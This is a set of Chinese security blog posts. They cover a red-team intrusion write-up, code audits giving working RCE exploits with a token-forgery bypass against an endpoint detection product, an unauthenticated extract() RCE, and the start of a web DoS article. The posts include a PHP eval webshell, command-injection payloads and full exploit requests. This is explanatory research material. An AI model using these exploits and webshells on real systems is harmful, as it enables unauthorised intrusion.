漏洞库:漏洞库即0day、1day这些漏洞的利用,例如SQL注入不应只是注入,而是要结合SQL注入直接获取目标站点权限,无论你是结合SQL注入获取密码再进入后台进行文件上传获取权限,还是SQL注入直接堆叠执行命令获取权限,简而言之,漏洞只是开始,通过漏洞获取权限才是漏洞库所需要的,这也是大家通常所说的漏洞武器化。

红队结果复盘

在进行一场演习之后,红队应结合演习结果进行复盘,主要围绕这几个方面:演习结果的总结、红队成员的分工、演习过程的问题。

演习结果的总结:对演习上报的结果进行总结,梳理出攻击技术及相关路径;

红队成员的分工:明确每个成员的分工,并且结合成果来看分工的落实程度;

演习过程的问题:总结演习过程中发现的问题,找出问题产生的原因,有解决方案的提出解决方案,没有的就复盘会上进行交流。

记一次攻防演习渗透过程

2020年11月22日 00:00

记一次攻防演习渗透过程

前言

记录一次攻防演习渗透过程,文章仅写关于「打点」环节的部分,也就是拿到靶标的Webshell为止。

任务: 拿到XXX业务系统权限…

过程

靶标是一个www的域名,简单看了下有机会硬啃(商业源码),但时间不多,先找找脆弱点,常规一套流程,收集子域、C段…

脆弱点发现

在对子域的常规扫描后,发现存在.git泄露:

-w494

以及发现了phpMyAdmin应用和一些phpinfo()信息泄漏:

-w865

看到这些,不由得兴奋了起来,接下来只要按照预期的想法: 通过.git拿到数据库账号密码(源码中一般会有),登录phpMyAdmin,然后拿到Webshell

但…转折点来了,尝试使用GitHack等一系列常见工具去恢复.git,发现恢复的文件只有一些图片,看Logs发现有很多文件恢复失败,既然不能当一个ScriptKid一把梭哈,那就自己来手动恢复吧~

Git原理与恢复

基本概念

Git有三个概念词需要了解: 1.工作区 2.版本库 3.暂存区

工作区就是正常的目录(你的项目位置);版本库就是在工作区内的一个隐藏目录.git;如果你曾经注意过这个目录你会发现里面有许多东西,在该目录下会存在一个index文件,这被称之为暂存区。

除以上所述之外,大家都知道每一个Git项目都会有一个默认的分支master,在.git目录下有一个文件head,它用来指向master这个分支。

-w992

当我们使用git add时,实际上就是把文件添加进暂存区;使用git commit时,才会把暂存区的内容添加到当前分支,默认是master分支。

我们可以来实际的看一下indexhead这两个文件:

-w1108

使用Binwalk直接分析,可以很直观的看见index内有许多内容,head并没有,直接cat head发现这就是一个单纯的文本内容:

ref: refs/heads/master

前面了解到这是一个分支指向,那我直接查看.git目录下的refs/heads/master文件,得到一串Hash值。

我们可以暂且认为这是master分支的一个记录,用于区分、比较。

大概了解了以上内容后,还需要了解有哪些文件才能够恢复.git?

首先我们来看一下.git目录内的一般结构:

名称 类型 作用
.git/index 文件 暂存区
.git/config 文件 Git配置文件
.git/description 文件 GitWeb专用的描述文件
.git/info 文件夹 里面就一个exclude文件(与.gitignore互补),排除指定文件不用做Git提交
.git/hooks 文件夹 存放一些钩子脚本
.git/HEAD 文件 记录分支
.git/objects 文件夹 存放所有数据
.git/refs 文件夹 存放提交对象的指针

知道结构及其作用后,挑重点关注objects这个目录,但一看,全都是一些Hash命名的文件,根本不知道其对应关系:

-w1102

并且这些文件都没办法看:

-w822

查阅相关资料得知此类文件是将原文件内容经过zlibdeflate压缩后存储的( https://mirrors.edge.kernel.org/pub/software/scm/git/docs/user-manual.html#object-details ):

-w1145

而使用zlib进行解压查看文件内容时是这样的:

-w1222

这个文件更像是记录了一个目录结构,而关于此就又需要查阅资料了,具体请看: https://git-scm.com/book/zh/v2/Git-%E5%86%85%E9%83%A8%E5%8E%9F%E7%90%86-Git-%E5%AF%B9%E8%B1%A1

git中的对象(对象对应文件).git/objects包含了:

  1. SHA(所有用来表示项目历史信息的文件,是通过一个40个字符的(40-digit)“对象名”来索引的)
  2. Blob对象(用来存储文件的内容)
  3. Tree对象(有一串bunch指向Blob对象或是其它Tree对象的指针,一般表示内容之间的目录层次关系)
  4. Commit对象(指向一个Tree对象, 并且带有相关的描述信息.)

-w481 (注: 图片来自 git-scm.com )

猜测: 按照这个逻辑,我们需要先获取Commit对象对应文件找到Tree对象对应文件再通过其获得Blob对象对应文件,最后解压即可获得源文件内容。

那这些对象内容都存储在哪里呢?通过之前使用Binwalk分析,显而易见,在.git/index文件中。

但是在这里.git/index文件无法直接查看,直接套用GitHack的( https://github.com/lijiejie/GitHack/blob/master/lib/parser.py )解析代码就行:

-w716

获得SHA1: a797b1973fd62dc34a691c7fe3bce33a504f2b74,但是找了半天没找到这个对应文件​,后来尝试搜索前几位和后几位,发现搜索到了后几位:

-w664

对比发现文件名和获取的SHA1值少了2位:

-w387

搜索发现原来前两位是作为了目录名:

-w556

但在这里,我们使用zlib去解压缩,发现存储在.git/index的SHA1值实际上就是一个blob对象的值,也就根本不需要获取committree对象的值了,表示之前的顺序逆推逻辑是错误的:

-w746

接下来按照这个思路去编写脚本恢复源码即可。

编写与恢复

由于项目时间原因简单了解原理之后,没有过多的去研究,也不打算使用原生方法去恢复,还是采用最暴力的方法,使用命令行去恢复.git,想要让Git回退历史,使用git reset --hard commit_id命令,进行版本回退。

基于这个命令,我需要获取网站的这几个文件/目录:

  1. .git/index
  2. .git/logs
  3. .git/head
  4. .git/objects
  5. .git/refs

先下载.git/index.git/head.git/refs.git/logs(文件目录都是固定的无需考虑其他情况)而后解析index获取索引,根据索引依次下载.git/objects内的文件,最后全部下载完毕,获取master分支(refs/heads/master文件)对应的值带入该命令git reset --hard commit_id即可恢复:

-w793

但发现除此之外,发现恢复的文件寥寥无几,后来下载.git/logs/head发现该.git项目还有其他分支:

-w742

这个记录中有两个SHA1的值,master对应前者,shop对应后者,简单修改命令git reset --hard shop_commit_id,还是那一套流程,恢复shop这个分支的源码即可。

获取子域 Webshell

获得源码之后翻数据库账号密码:

-w307

由于之前我们已经有了一个phpinfo()探针,网站绝对路径已知,所以直接上phpMyAdmin登录,尝试使用into outfile,有--secure-file-priv限制无法写入:

-w767

转而使用Mysql Log日志存储的方式进行写入:

set global general_log=on;
set global_log_file='/xxx/www/xxx.php';
select '<?php @eval($_REQUEST["xxx"]);?>';

访问相关文件却提示我无法访问(403/AccessDefined):

遇到这种情况尝试以下几种方法:

  1. 修改后缀访问,判断是否是只针对脚本后缀进行限制(上传.htaccess文件)
  2. 修改内容访问,判断是否有安全防护对内容进行限制
  3. 如若以上均未访问成功,则可以考虑覆盖原文件写入

这里我的情况是第三种,大概推测可能是因为新建的文件没有执行权限所导致,因为这里我们已经有源码了所以可以直接找已有的文件(建议选择非业务相关的文件)进行写入(记得事后恢复):

-w562

执行phpinfo();函数可以,但无法直接使用管理工具连接,抓包发现目标网站上了云WAF,对请求内容拦截了(该WAF还挺弱),这种情况还是有很多中方式:

  1. 配合Cknife、蚁剑等自定义修改传输内容(Base64编码等等),但需要修改PHP文件内容配合解码
  2. 直接上冰蝎、哥斯拉的马就行了

为图方便,选择冰蝎3,使用file_put_contents写入连接就行(这都不拦,WAF堪忧):

-w362

-w699

瞄准靶标

进入子域的Webshell发现内网无机器、就是一个云服务器,一开始误以为打中靶标,因为在主战发现一个路径泄漏:

-w503

-w170

而子域服务器上也有对应目录并且文件一模一样,但是修改文件却没反应不生效,猜测很有可能主战业务曾经在这个子域服务器上,但后期进行了转移,原Web文件还留着。

尝试翻翻源码,找密码,后来找到了几个有用的东西:1.Adminer文件 2.数据配置信息

-w500

Adminer(类似phpMyAdmin的数据库管理工具)文件是随机的: adminerxxxxxxxxx.php,完全无法扫到,数据库配置密码与子域完全一样。

-w626

使用数据配置密码无法登录,但是这里Adminer可以直接连外网的Mysql数据库,使用脚本( https://github.com/Gifts/Rogue-MySql-Server )伪造一个Mysql服务端读取对应文件就好,这边以/etc/passwd为例:

-w599

如上图所示是成功读取到的,而我们在子域上也知道了对应的配置文件路径,直接伪造读取即可。

再使用Adminer登录进去时,使用如下几种方法尝试获取Webshell:

  1. into outfile -> 失败
  2. Mysql log -> 失败
  3. Adminer是最新版本无漏洞 -> 失败
  4. 获取管理员密码无法解密 -> 失败

最终选择添加新管理员登录:

-w592

登录之后寻找对应上传点(以最短攻击路径的方式进行GetWebShell):

-w551

测试如下后缀及服务器结果:

Key.jpg -> 上传成功
Key.php -> 上传失败WAF拦截
Key.phtml -> 上传失败文件类型不允许

-w474

-w356

我们在已经有源码的情况下,找到对应的代码进行审计就行,发现这里是白名单设置无法绕过:

直接关键词寻找上传功能,发现函数:xxx_upload_file存在任意文件上传

后续构建请求包以及使用回车直接绕过CloudWAF,上传成功:

-w436

至此靶标拿到,结束。

文末

很多时候还是需要去探寻事物的本质和原理,才能更加清晰明了的了解这个事物,否则什么东西都是现有的成品一把梭,遇到梭不了,容易出现惯性思维,可能就直接略过了。

某终端检测响应平台代码审计挖掘(RCE)

2020年9月3日 00:00

某终端检测响应平台代码审计挖掘(RCE)

前言

继上一次对某终端检测响应平台权限绕过漏洞的审计流程,现分享对该平台进行代码审计后挖掘到的远程命令执行漏洞。

上篇文章其实采用的是通读代码逻辑的方法进行漏洞挖掘,那么本次我们使用敏感函数回溯的方法(代码审计方法通常分为三类: 通读全文、敏感函数参数回溯、定向功能分析)来进行漏洞挖掘。

审计流程

定位敏感函数

前文说到,不是一把梭的0day都不叫0day,所以我们可以对命令执行、代码执行等漏洞相关敏感函数进行全文搜索,敏感函数列表如下 :

exec()
passthru()
proc_open()
shell_exec()
system()
popen()
eval() //非函数
assert()
preg_replace()

搜索关键词 exec(,发现一处文件 /ldb/dc.php 自定义了命令执行代码,函数体是调用的 exec 函数 :

/**
 * 执行外部程序
 * @param string $command 执行命令
 * @param array  $output  输出信息
 * @param int    $ret     返回值
 * @return string 返回执行结果
 */
function ldb_exec($command, &$output, &$ret) {
    if (!ldb_is_linux()) {
        $data = exec($command, $output, $ret);
    } else {
        pcntl_signal(SIGCHLD, SIG_DFL);
        $data = exec($command, $output, $ret);
        pcntl_signal(SIGCHLD, SIG_IGN);
    }
    return $data;
}

寻找危险点

/bin/mapreduce/app/web/device_linkage/process_cssp.php

exec_slog_action 匿名函数分析

如上所述,我们知道了 ldb_exec 函数为自定义命令执行代码,我们想寻找利用点就需要跟踪下该函数在哪被引用,然后分析具体的代码看是否可以利用。

老套路,全局搜索 ldb_exec( 发现有很多处调用了,其中阅读起来较为通俗易懂的为 /bin/mapreduce/app/web/device_linkage/process_cssp.php 的匿名函数 $exec_slog_action :

$exec_slog_action = function($object,$params){
    $data = $params["data"];

    if (!isset($data["params"])) {
        ldb_error("required parameter missing params is".json_encode($params));
        $object->err_code = EXEC_SLOG_ACTION_PARAM_ERROR;
        return -1;
    }

    $data["params"] = ldb_mapreduce_invoke("call_method", "app.web.common.validation.shell_injection_check",
        "shell_argv_transform", $data["params"]);

    $command = "curl -k 'http://127.0.0.1:9081/?".$data["params"]."'";
    ldb_debug("exec command: ".$command);
    ldb_exec($command, $output, $ret);
    if ($ret !== 0) {
        ldb_error("exec slog action fail, command: $command, error: ".$output);
        $object->err_code = EXEC_SLOG_ACTION_FAILED;
        return -1;
    }

    $data = $output;
    response_linkage_dev_msg(SUCCESS,$data);
    return 0;
};

这段代码很容易理解,赋值校验,再过一遍 /bin/mapreduce/app/web/common/validation/shell_injection_check 文件 函数 shell_argv_transform :

// 转义参数
$shell_argv_transform = function($argv) use(&$shell_argv_transform)
{
    $type = strtolower(gettype($argv));
    if ($type == "array") 
    {
        foreach ($argv as $key => $value)
        {
            $argv[$key] = $shell_argv_transform($value);
        }
    } 
    else if (!is_null($argv) && !empty($argv)) 
    {
        $argv = escapeshellarg($argv);
    }
    
    return $argv;
};

这就是一段简单的转义,如果传入的变量 $argv 是数组则遍历进行函数递归最后通过 escapeshellarg 函数转义( 官方释义: escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。 ),如果不是数组则直接进行增加转义。

继续跟进看代码,你会发现 $command = "curl -k 'http://127.0.0.1:9081/?".$data["params"]."'"; 是拼接的,最后经过 ldb_exec 进行命令执行,我们可以使用管道符的方式进行其他命令的注入: |whoami,但这里巧妙的是经过 escapeshellarg 函数处理后注入的命令就变成了 '|whoami',最后执行的命令就变成了: curl -k 'http://127.0.0.1:9081/?'|whoami'',直接帮助我们闭合命令了。

那么我们只需要可以控制 $params['data']['params'] 的值即可进行命令执行。

控制点寻找

/bin/web/dev_linkage_launch.php

get_opr 函数分析

由于 /bin/mapreduce/ 下的文件,我们没办法直接访问调用就需要全局搜索 exec_slog_action 看下谁调用了这段代码,发现文件 /bin/web/dev_linkage_launch.php( 此处应感觉到兴奋,毕竟我们能访问的路径就是 /bin/web/ ) 有一处可疑函数体( 函数 get_opr ) :

function get_opr($req_url){
    ...
    //CSSP请求
    if($req_url === STD_CSSP_EXEC_SLOG_ACTION_URL ){
        return EXEC_SLOG_ACTION;
    }
    ...
    //检查url的合法性
    if($req_url !== AGENT_INFO_URL &&
       $req_url !== SCAN_ABOUT_URL &&
       $req_url !== EDR_INFO_ABOUT_URL &&
       $req_url !== EVIDENCE_INFO_URL){
        ldb_error("no response about this url :".$req_url);
        throw new Exception(ldb_get_lang("NO_RESPONSE_ABOUT_THIS_URL"));
    }
    //获取url中的参数
    $url_params = get_url_param();
    $method = $url_params[METHOD];
    global $opr_arr;
    if(isset($opr_arr[$method])){
        $opr = $opr_arr[$method];
    }
    else{//无此url的响应
        ldb_error("no response about this url: " .$req_url);
        throw new Exception(ldb_get_lang("NO_RESPONSE_ABOUT_THIS_URL"));
    }
    return $opr;
}

判断变量 $req_url 值是否与常量 STD_CSSP_EXEC_SLOG_ACTION_URL 值一致,一致则返回常量 EXEC_SLOG_ACTION,最后如果请求的地址非常量中定义的,则进行URL判断合法性( 我们没办法直接访问 dev_linkage_launch.php )。

我们先看常量 STD_CSSP_EXEC_SLOG_ACTION_URL 对应值,直接看代码开头包含了哪些文件即可 :

-w938

最终发现 /bin/mapreduce/app/web/device_linkage/common/common.php 中定义了常量 :

define("STD_CSSP_EXEC_SLOG_ACTION_URL","/api/edr/sangforinter/v2/cssp/slog_client");
define("EXEC_SLOG_ACTION","exec_slog_action");

知道了这些常量的定义,大致就明白了,( 猜测 )当我们访问 /api/edr/sangforinter/v2/cssp/slog_client 时,函数 get_opr 返回 exec_slog_action,也就是我们之前所发现存在安全风险的函数,这也仅仅是猜测,但想要证实这个猜测,我们就得啃一啃文件 /bin/web/dev_linkage_launch.php

get_interface_data 函数分析

我们已经知道了函数 get_opr 的作用( 返回接口方法 ),来看看在文件中的哪里被调用,发现一处调用 :

function get_interface_data($argv) {
    //获取url
    $req_url = $_SERVER['PHP_SELF'];
    //校验token
    check_token($req_url);
    //构造opr
    $opr = get_opr($req_url);
    //根据方法构造业务代码路径
    $app_name = get_app_name($opr);
    $data = array();
    if($_SERVER['REQUEST_METHOD'] == 'POST'){
        $data = get_body_data($argv);
    }
    //根据opr、app_name以及data构造数据
    $interface_data = array();
    $interface_data["app_args"]["name"] = $app_name;
    $interface_data["opr"] = $opr;
    if($_SERVER['REQUEST_METHOD'] == 'POST'){
        $interface_data["data"] = $data;
    }
    return $interface_data;
}

函数 get_interface_data 调用了函数 get_opr,传递参数值为 $req_url = $_SERVER['PHP_SELF'];,也就是请求的 URI ( 例如请求地址为 http://localhost/chen.php 那么 $_SERVER['PHP_SELF'] 的值即为 /chen.php )。

:这里证实了我们在分析 get_opr 函数时的猜测,请求的地址必须为 /bin/mapreduce/app/web/device_linkage/common/common.php 文件中定义常量的地址,不能为 dev_linkage_launch.php

那么想要进入调用函数 get_opr 的逻辑,我们需要先了解下函数 get_interface_data 的逻辑,在此之前我们需要确保自己不会做无用功,所以需要看下函数 get_interface_data 是否在上下文代码中被调用 :

-w711

-w289

该函数直接被入口函数调用,那么我们接下来就可以分析下该函数逻辑,根据注释我们了解到这里会校验token,也就是函数 check_token

check_token 绕过

跟进函数 check_token,其代码如下 :

/**
 * @func        检验token
 * @param       string $req_url 联动的url
 * @throws      Exception
 */
function check_token($req_url){
    //CSSP接口使用特权IP的方式进行校验
    if (strpos($req_url, STD_CSSP_REQUEST_URL_PREFIX) !== false && $req_url != STD_CSSP_SET_KEY_URL) {
        parse_str($_SERVER['QUERY_STRING'],$query_str_parsed);
        if(!isset($query_str_parsed[TOKEN])) {
            throw new Exception(ldb_get_lang("THIS_OPERATION_NEED_TOKEN"));
        }
        $ret = check_access_token($query_str_parsed[TOKEN], $req_url);
        if ($ret == 1) {
            response_linkage_dev_msg(CSSP_TOKEN_AUTH_FAILED);
            die();
        }
    }
    //判断url 需不需要进行校验token
    if($req_url == AGENT_INFO_URL ||
       $req_url == SCAN_ABOUT_URL ||
       $req_url == EDR_INFO_ABOUT_URL ||
       $req_url == EVIDENCE_INFO_URL){
        //校验token
        $url_params = get_url_param();
        $ret = token_valid($url_params[TOKEN]);
        if($ret){
            response_linkage_dev_msg($ret);
            die();
        }
    }
}

简单理解就是获取所有请求参数,并获取参数 token 的值带入函数 check_access_token,最后的返回结果不为 1 即可成功验证token,我们继续跟进该函数,文件 /bin/web/ui/php/platform.php :

/**
 * 检验cssp请求的token
 * @return 0/1 成功/失败
 */
function check_access_token($access_token, $req_url){

    $token_str = base64_decode($access_token);
    $json_token = json_decode($token_str, true);
    $key = get_item_from_os_json("privateKey");
    if($key == "" && $req_url == STD_CSSP_DOWN_CONF_URL) {
        $key = STD_CSSP_DEFAULT_KEY;
    }
    $md5_str = md5($key.$json_token["random"]);
    if($md5_str == $json_token["md5"]) {
        return 0;
    }

    ldb_error("check token failed");
    return 1;
}

参数 token 的值需要经过Base64解码、JSON转换( 将JSON转为数组 ),最后字段 random 与变量 $key 拼接进行md5加密的值与字段 md5 一样则可以进入 return 0; 否则就是 return 1;( 我们就需要返回为0才可过token验证 )。

那在这我们需要知道变量 $key 是怎么样获取到的,跟进函数 get_item_from_os_json :

/**
 * 从/etc/cssp_custom_image/os.json中获取指定值
 * @param $key os.json中的键
 * @return 返回指定键对应的值
 */
function get_item_from_os_json($key){
    $item = "";

    $file_path = "/etc/cssp_custom_image/os.json";
    if(file_exists($file_path)){
        $os_json = get_json_from_file($file_path);
        if ($os_json === null) {
            ldb_error("target file is null");
            return "";
        }
        $item = $os_json[$key];
    }

    return $item;
}

发现这里实际意义上就是将 $file_path = "/etc/cssp_custom_image/os.json"; 带入 get_json_from_file 函数,继续跟进这个函数 :

/**
 * 从文件读取一个json
 * @param conf_file 文件路径+文件名
 * @return data_arry 返回一个关联数组
*/
function get_json_from_file($conf_file){
    if (!file_exists($conf_file)) {
        ldb_error("err:file null");
        return null;
    }

    $json_string = file_get_contents($conf_file);
    $data_arry = json_decode($json_string, true);

    if (is_null($data_arry)) {
        ldb_error("get json from file failed");
        return null;
    }

    return $data_arry;
}

该函数就是从文件中读取JSON,并转为数组返回,我们想要知道具体内容就要看下初始的 /etc/cssp_custom_image/os.json 文件内容,但笔者这里安装默认情况下该文件是不存在的 :

-w1076

那在这里其返回的就是空,这时候我们再回到函数 check_access_token,其代码( 代码上文中已经列出 )逻辑当变量 $key 值为空并且 $req_url == STD_CSSP_DOWN_CONF_URLdefine("STD_CSSP_DOWN_CONF_URL","/api/edr/sangforinter/v2/cssp/down_conf"); ) 的情况下变量 $key 值为常量 STD_CSSP_DEFAULT_KEY 的值,即: define("STD_CSSP_DEFAULT_KEY","amsPnhHqfN5Ld5FU");( 常量定义在 /bin/mapreduce/app/web/device_linkage/common/common.php 文件中 )。

但此处我们的变量 $req_url/api/edr/sangforinter/v2/cssp/slog_client 并不符合逻辑条件,所以变量 $key 还是为空的。

那我们可以根据代码逻辑直接构建token值,首先是JSON内容有两个字段random、md5,还要满足字段md5的值等于md5(字段random)的值,所以我们要提前先设置字段random为1,随后进行md5加密并将结果赋予字段md5即可 :

-w374

{"random":"1", "md5":"c4ca4238a0b923820dcc509a6f75849b"}

最后进行Base64编码 : eyJyYW5kb20iOiIxMjMiLCAibWQ1IjoiYWI0NzU2M2FjNmZiOWU1MTdiZTg4ODBjODdmNzc2NWYifQ==

至此我们就绕过了token校验限制。

逻辑梳理

我们来梳理函数 get_interface_data 的逻辑,其通过函数 get_opr 反回值带入函数 get_app_name 获取具体代码路径,而后当HTTP请求类型为POST时获取请求正文( POST数据,如下函数 get_body_data,将请求正文的JSON转为数组 ),通过构建数组将数据填充进去,并返回该数组。( 简单梳理,具体请看代码 )

/**
 * @fun        根据协议body中的内容来构造data中的内容
 * @param      array     $argv      输入的参数
 * @return     array     $params    联动设备传来的body
 */
function get_body_data($argv){
    $ini_file = getenv("EPS_INSTALL_ROOT") . "config/tenant.conf";
    if(file_exists($ini_file)){
        if (0 != strlen(ldb_post_json())) {
            $docker_data = ldb_get_post($argv);
            return $docker_data;
        }
    }

    $params = array();
    if(0 != strlen(ldb_post_json())) {
        $params = ldb_get_post($argv);
    }
    return $params;
}

我们已经知道了函数 get_interface_data 的逻辑,再跟进调用其的函数 ldb_execute_app 即可。

ldb_execute_app 函数分析

阅读过«对某终端检测响应平台权限绕过漏洞的审计流程»该分享的读者,大致就能理解这里函数的作用了:

/**
 * @func      APP通用入口函数,将联动发来的信息转换成EDR通用的前后端接口
 * @param     array    $args   输入的参数
 */
function ldb_execute_app($args) {
    try {

        //构造成业务统一处理的接口
        $interface_data = get_interface_data($args);
        // 检验请求信息是否包含注入关键字
        $ignore_check = read_ignore_check_info();
        if(mongo_injection_check($interface_data, $ignore_check) === TRUE) 
        {
            response_linkage_dev_die_msg(ldb_get_lang(ARGV_CONTAIN_RISK), RESPONSE_ERROR);
            ldb_error("request argv contain mongodb risk keyword, argv=" . json_encode($interface_data));
            return ;
        }

        //特殊开权限控制函数
        special_auth($interface_data);
        //授权控制
        authorize_check($interface_data);
        ldb_debug("interface_data is " . json_encode($interface_data));
        $app = $interface_data["app_args"]["name"];
        $constructor = ldb_mapreduce_invoke("get", $app);
        // 构建应用对象
        $instance = call_user_func($constructor);
        $ret = call_user_func($instance->main, $instance, $interface_data);
        //响应出错返回相应的状态码
        if ($ret) {
            $err_code = call_user_func($instance->res, $instance);
            response_linkage_dev_msg($err_code);
        }
        // 销毁应用对象
        call_user_func($instance->destroy, $instance);
    }
    catch(Exception $e){
        //通知联动设备
        $err_msg = $e->getMessage();
        response_linkage_dev_die_msg($err_msg, RESPONSE_ERROR);
    }
}

// 入口函数
$args = ldb_argv_get();
ldb_execute_app($args);

ldb_execute_app 函数传入参数为变量 $args,该值通过函数 ldb_argv_get 获取,跟进发现就是获取的 URI 部分。

/**
 * 获取命令行参数
 * @return array 返回命令行参数
 */
function ldb_argv_get() {
    if (ldb_is_cli()) {
        global $argv;
        return $argv;
    }
    $args = array($_SERVER['PHP_SELF']);
    return $args;
}

逻辑梳理与漏洞利用

由于之前的步骤都是逆推,这里我们直接顺着推一遍流程就能理清整个思路了。

假设在此我们访问的是 /api/edr/sangforinter/v2/cssp/slog_client,那就是其传入函数 get_interface_data,由于需要过 check_token,所以访问地址需为 /api/edr/sangforinter/v2/cssp/slog_client?token=eyJyYW5kb20iOiIxIiwgIm1kNSI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIn0=

而后通过函数 get_opr 得到了 exec_slog_action,再根据 exec_slog_action 获得了具体代码路径 app.web.device_linkage.process_cssp,最后根据 oprapp_name 以及 data( 这里的data需为POST请求方式时才有 )构造数组返回,这里测试就是GET请求,最后返回数据为:

array(2) {
  ["app_args"]=>
  array(1) {
    ["name"]=>
    string(35) "app.web.device_linkage.process_cssp"
  }
  ["opr"]=>
  string(16) "exec_slog_action"
}

变量 $interface_data 获取了函数 get_interface_data 的返回值,由于ldb_execute_app 函数代码很多,不过多赘述,有几处授权校验的函数,简单跟踪下看下注释就能了解CSSP请求不处理授权:

-w855

-w665

回调调用 app.web.device_linkage.process_cssp 的函数 main 传入变量 $instance$interface_data( 函数 get_interface_data 的返回值 ),那我们跟进 main 函数,又是回调函数调用 exec_slog_action 并传入变量 $object$params ( 函数 get_interface_data 的返回值 )。

-w542

这样无法造成命令执行,我们在之前 exec_slog_action 匿名函数分析 中了解到其要获取 $params['data']['params'] 带入命令执行语句中,由于我们测试的是GET请求,函数 get_interface_data 的返回值并没有 data['params'] 这个key,而刚好函数 get_interface_data 中的变量 $interface_data["data"] 会获取函数 get_body_data 处理请求正文的JSON内容转为数组的结果,所以我们修改请求方法为POST,请求正文为:{"params":"|whoami"},即可进行命令注入从而执行。

// {"params":"|whoami"}` -> array('params' => '|whoami')
$interface_data["data"] = array('params' => '|whoami');

-w1278

POST /api/edr/sangforinter/v2/cssp/slog_client?token=eyJyYW5kb20iOiIxIiwgIm1kNSI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIn0= HTTP/1.1
Host: 192.168.31.136
Connection: close
Content-Length: 20
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: https://192.168.31.136
Referer: https://192.168.31.136/ui/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

{"params":"|whoami"}

最后

熟悉了解了整个流程之后,其实还有更多利用点可以挖掘~本文就不过多的赘述了。

某终端检测响应平台代码审计分析

2020年9月3日 00:00

某终端检测响应平台代码审计分析

前言

2020年08月17日收到一条漏洞情报,某终端检测响应平台代码未授权RCE:/tool/log/c.php?strip_slashes=system&host=id

-w1120

参数:host,可以修改任意的系统命令进行执行。

原理分析

首先我们跟进一下/tool/log/c.php文件发现其没有任何权限限制,所以我们只需要看一下请求参数是如何传递的,搜索关键词:

$_POST
$_GET
$_REQUEST

在代码第144行、146行分别调用了变量匿名函数,并将$_REQUEST作为传递参数:

$show_form($_REQUEST);
...
$main($_REQUEST);

先跟进$show_form这个匿名函数:

$show_form = function($params) use(&$strip_slashes, &$show_input) {
    extract($params);
    $host  = isset($host)  ? $strip_slashes($host)  : "127.0.0.1";
    $path  = isset($path)  ? $strip_slashes($path)  : "";
    $row   = isset($row)   ? $strip_slashes($row)   : "";
    $limit = isset($limit) ? $strip_slashes($limit) : 1000;
    
    // 绘制表单
    echo "<pre>";
    echo '<form id="studio" name="studio" method="post" action="">';
    $show_input(array("title" => "Host ",  "name" => "host",  "value" => $host,  "note" => " - host, e.g. 127.0.0.1"));
    $show_input(array("title" => "Path ",  "name" => "path",  "value" => $path,  "note" => " - path regex, e.g. mapreduce"));
    $show_input(array("title" => "Row  ",  "name" => "row",   "value" => $row,   "note" => " - row regex, e.g. \s[w|e]\s"));
    $show_input(array("title" => "Limit",  "name" => "limit", "value" => $limit, "note" => " - top n, e.g. 100"));
    echo '<input type="submit" id="button">';
    echo '</form>';
    echo "</pre>";
};

变量匿名函数 $show_form 具有一个形式参数 $params 在这里也就是array("strip_slashes"=>"system","host"=>"id");

接下来执行extract($params);,后进入如下代码:

$host  = isset($host)  ? $strip_slashes($host)  : "127.0.0.1";

在这个过程中就产生了漏洞,想要了解具体原因,我们需要了解extract函数的作用,该函数是根据数组的key=>value创建变量$key=value(官方解释:extract — Import variables into the current symbol table from an array

知道其函数作用之后,我们就大致明白漏洞原因了。

首先函数传入参数值为array("strip_slashes"=>"system","host"=>"id");

经过extract()函数后,赋值了2个变量:

$strip_slashes = 'system';
$host = 'id';

在第91行代码,变量$host利用三元运算重新赋值$strip_slashes($host)

而实际上其赋值内容是函数system('id')的返回结果,这也就造成了命令执行漏洞。

同类漏洞寻找

首先在全局文件中搜索$_GET、$_POST、$_REQUESTextract(,其次在这些文件中使用正则寻找变量函数传递变量:\$[a-zA-Z0-9_]*\(\$[a-zA-Z0-9_]*\)

Linux grep寻找命令:

grep -E "\$_GET|\$_POST|\$_REQUEST" . -r --include \*.php -v | grep "extract(" -v | grep -E "\\\$[a-zA-Z0-9_]*\(\\\$[a-zA-Z0-9_]*\)"

简单分析获得了另外三处RCE:

/tool/php_cli.php?strip_slashes=system&code=id
/tool/ldb_cli.php?strip_slashes=system&json=id
/tool/mdd_sql.php?strip_slashes=system&root=id

但无法真正利用,三处文件开头都有一个类似文件存活的判断,不存在代码则die退出,而默认环境上是存在:

-w568

最后

该套程序还有诸多漏洞未被披露出来,建议采用ACL控制访问或下线该业务,等待官方升级补丁。

Web层面上的那些拒绝服务攻击(DoS)

2020年6月22日 00:00

Web层面上的那些拒绝服务攻击(DoS)

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,Vulkey_Chen(戴城)不为此承担任何责任。

Vulkey_Chen(戴城)拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。

未经Vulkey_Chen(戴城)允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

本文所需一定基础知识方能顺畅的进行阅读和理解,基础知识请读者自行搜索学习。

前言

相信很多师傅都了解DDoS攻击,也就是分布式拒绝服务,但这类攻击在很多时候拼的是资源,从攻击者的角度来看进行此类攻击还是需要一定“成本”的,从受害者的角度来看防御此类攻击的“成本”更是昂贵!

拒绝服务是一个老生常谈的话题,而发生在Web层面的拒绝服务风险一直不被重视;虽然其不如RCE、SQLi之类的漏洞更加直接的影响数据和服务,但令服务器宕机这类风险还是不容小视。

试想如果攻击者去利用不费成本的Web层拒绝服务风险造成服务器、应用、模块…瘫痪宕机,岂不是令那些斥巨资建设/购买“DDoS防护”一脸懵~

原理及案例

资源生成大小可控

现在有许多资源是由服务器生成然后返回给客户端的,而此类“资源生成”接口如若有参数可以被客户端控制(可控),并没有做任何资源生成大小限制,这样就会造成拒绝服务风险。

此类场景多为:图片验证码、二维码

实际场景

图片验证码在登录、注册、找回密码…等功能比较常见:

关注一下接口地址:https://attack/validcode?w=130&h=53

参数值:w=130&h=53,我们可以理解为生成的验证码大小长为130宽为53

